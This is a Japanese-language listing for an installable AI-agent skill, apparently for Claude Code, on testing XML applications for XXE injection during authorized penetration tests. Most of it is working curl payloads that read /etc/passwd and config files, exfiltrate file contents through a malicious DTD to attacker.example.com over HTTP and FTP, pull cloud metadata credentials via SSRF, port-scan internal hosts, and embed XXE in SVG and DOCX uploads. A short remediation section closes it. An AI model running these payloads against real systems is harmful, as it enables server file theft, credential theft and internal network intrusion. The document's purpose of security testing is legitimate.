testing-for-xxe-injection-vulnerabilities について
XMLを処理するアプリケーションのXXEリスクを調べる、許可されたペネトレーションテスト向けのスキルです。ブラインドXXE、ファイルアップロード、XXEによるSSRFの検証と報告を扱います。
主な機能
- 01XML処理エンドポイントの特定
- 02ファイル読み取りとブラインドXXEの検証
- 03XMLファイルアップロードの解析確認
- 04XXEによるSSRFの確認
- 05脆弱性所見の記録
活用シーン
- 01XMLを受け付けるSOAPサービスの評価
- 02SVGやDOCXのアップロード解析の検証
- 03APIがXMLリクエストを受け付けるか確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-xxe-injection-vulnerabilitiesインストール後、Claude Code で/testing-for-xxe-injection-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
XXE インジェクションの脆弱性をテストする
使用する場面
- アプリケーションが XML 入力(SOAP API、ファイルアップロード、RSS フィード)を処理する場合の、許可を得たペネトレーションテスト中
Content-Type: application/xmlまたはtext/xmlを受け付ける API のテスト時- ファイルアップロード機能(DOCX、XLSX、SVG、PDF)の XML パーサーを評価する場合
- SOAP ベースの Web サービスでエンティティインジェクションを評価する場合
- XML 設定を使用するエンタープライズアプリケーションのセキュリティ評価中
前提条件
- 許可:対象に対する書面でのペネトレーションテスト契約
- Burp Suite Professional:XML リクエストの傍受と変更に使用
- XXEinjector:XXE の自動エクスプロイトツール(
git clone https://github.com/enjoiz/XXEinjector.git) - アウトオブバンドサーバー:ブラインド XXE の検出に使用する Burp Collaborator または interactsh
- curl:ペイロードの手動作成と送信に使用
- Python:DTD ホスティングサーバーの構築に使用
ワークフロー
ステップ 1:XML 処理箇所を特定する
XML データを受け付ける、または処理するアプリケーションのすべてのエンドポイントを見つけます。
# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml
# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"search":"test"}' \
"https://target.example.com/api/search"
# Try converting to XML:
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><search>test</search></root>' \
"https://target.example.com/api/search"
# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side
# Check for SOAP endpoints
curl -s -X POST \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
"https://target.example.com/ws/service"
ステップ 2:ファイル取得による基本的な XXE をテストする
XML エンティティを挿入し、サーバーからローカルファイルを読み取ります。
# Basic XXE payload to read /etc/passwd
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Windows file read
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Read application configuration files
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
ステップ 3:アウトオブバンド検出でブラインド XXE をテストする
エンティティ値がレスポンスに反映されない場合は、アウトオブバンドの手法を使用します。
# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)
# Start interactsh: interactsh-client
# Use the generated domain: abc123.oast.fun
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Check interactsh/Collaborator for incoming DNS or HTTP requests
# Blind XXE with DNS exfiltration
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Blind XXE via parameter entities (when regular entities are blocked)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
%xxe;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"
ステップ 4:アウトオブバンド XXE でデータを持ち出す
外部 DTD を使用して、HTTP リクエスト経由でファイルの内容を抽出します。
# Host a malicious DTD file on attacker server
# Create file: evil.dtd
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF
# Host the DTD
cd /tmp && python3 -m http.server 8888 &
# Send the XXE payload referencing the external DTD
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
%dtd;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"
# For multi-line file exfiltration, use FTP protocol
# evil-ftp.dtd:
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval;
%exfil;
EOF
# Use xxeserv or similar FTP listener to capture multi-line output
# python3 xxeserv.py --ftp --port 2121
ステップ 5:ファイルアップロード経由の XXE をテストする
ドキュメントアップロード機能で XML の解析をテストします。
# SVG file with XXE
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
EOF
# Upload the SVG
curl -s -X POST \
-F "file=@/tmp/xxe.svg;type=image/svg+xml" \
-b "session=abc123" \
"https://target.example.com/api/upload/avatar"
# DOCX file with XXE (DOCX is a ZIP containing XML files)
mkdir -p /tmp/xxe-docx
cd /tmp/xxe-docx
# Unzip a legitimate .docx file
unzip /tmp/template.docx -d /tmp/xxe-docx
# Inject XXE into [Content_Types].xml or document.xml
# Add DTD with external entity to document.xml
# Repackage: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *
# XLSX with XXE (same technique as DOCX)
# Inject into xl/sharedStrings.xml or [Content_Types].xml
ステップ 6:サーバーサイドリクエストフォージェリ(SSRF)につながる XXE をテストする
XXE を使用して、サーバーから内部サービスにリクエストを送信させます。
# SSRF via XXE to cloud metadata
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Internal port scanning via XXE
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
echo -n "Port $port: "
curl -s -X POST --max-time 5 \
-H "Content-Type: application/xml" \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
"https://target.example.com/api/search" | head -c 100
echo
done
# Access internal services
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
主要な概念
| 概念 | 説明 |
|---|---|
| XML 外部エンティティ | DTD で定義され、SYSTEM または PUBLIC キーワードを使って外部リソースを参照するエンティティ |
| DTD(文書型定義) | エンティティ宣言を含む、XML ドキュメントの構造と使用可能な要素を定義するもの |
| 内部エンティティ | DTD 内で値を直接指定して定義するエンティティ(<!ENTITY name "value">) |
| 外部エンティティ | URI からコンテンツを読み込むエンティティ(<!ENTITY name SYSTEM "uri">) |
| パラメーターエンティティ | DTD 内で使用するエンティティ。% を前置します(<!ENTITY % name SYSTEM "uri">) |
| ブラインド XXE | エンティティ値がレスポンスに反映されない XXE。データの持ち出しにはアウトオブバンド通信が必要です |
| Billion Laughs(DoS) | 再帰的なエンティティ展開により、メモリを指数関数的に消費させる攻撃 |
| XXE から SSRF へ | XXE を使用して、サーバーから内部または外部のサービスに HTTP リクエストを送信させること |
ツールとシステム
| ツール | 用途 |
|---|---|
| Burp Suite Professional | リクエストの傍受と変更、および OOB 検出のための Collaborator |
| XXEinjector | ファイルの持ち出しや SSRF 機能を備えた、XXE の自動エクスプロイト |
| interactsh | ブラインド XXE のコールバックを検出するためのアウトオブバンド通信サーバー |
| xxeserv | XXE によるデータ持ち出し用の専用 FTP/HTTP サーバー |
| OWASP ZAP | アクティブスキャンモードでの XXE 自動スキャン |
| DTD-Finder | エンティティインジェクションに使用する、サーバー上の DTD ファイルを検出 |
よくあるシナリオ
シナリオ 1:SOAP API によるファイル読み取り
SOAP Web サービスが、外部エンティティを無効化せずに XML 入力を処理します。SOAP 本文に SYSTEM エンティティを含む DTD を挿入すると、/etc/passwd を読み取り、SOAP レスポンスで返します。
シナリオ 2:SVG アップロードによるブラインド XXE
画像アップロード機能が SVG ファイルを受け付けます。サムネイル生成のため、SVG はサーバー側で解析されます。SVG にブラインド XXE ペイロードを使用すると、アウトオブバンド HTTP リクエスト経由でサーバーのファイルが持ち出されます。
シナリオ 3:JSON から XML への Content-Type 切り替え
REST API は主に JSON を使用しますが、XML パーサーも有効になっています。Content-Type を application/xml に切り替え、XXE ペイロードを送信すると、API レスポンスを通じてサーバーのファイルが漏えいします。
シナリオ 4:DOCX 処理における XXE
履歴書のアップロード機能で DOCX ファイルを処理します。DOCX アーカイブ内の [Content_Types].xml ファイルに XXE を挿入すると、サーバー側でドキュメントが解析される際にファイルが読み込まれます。
出力形式
## XXE Injection Finding
**Vulnerability**: XML External Entity (XXE) Injection
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/search (Content-Type: application/xml)
**OWASP Category**: A05:2021 - Security Misconfiguration
### Reproduction Steps
1. Send POST request to /api/search with Content-Type: application/xml
2. Include DTD with external entity: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3. Reference entity in XML body: <search>&xxe;</search>
4. Server returns file contents in the response
### Confirmed Impact
- Local file read: /etc/passwd, /etc/hostname, application config files
- SSRF: Accessed AWS metadata at 169.254.169.254
- Internal network scanning: Identified internal services on ports 3306, 6379, 8080
### Files Retrieved
| File | Contents Summary |
|------|-----------------|
| /etc/passwd | 42 user accounts, service accounts identified |
| /var/www/html/config.php | Database credentials in plaintext |
| /etc/hostname | Internal hostname: prod-web-01 |
### Recommendation
1. Disable external entity processing in the XML parser
2. Disable DTD processing entirely if not required
3. Use JSON instead of XML where possible
4. Implement input validation to reject DTD declarations in XML input
5. Apply least-privilege file system permissions for the web server user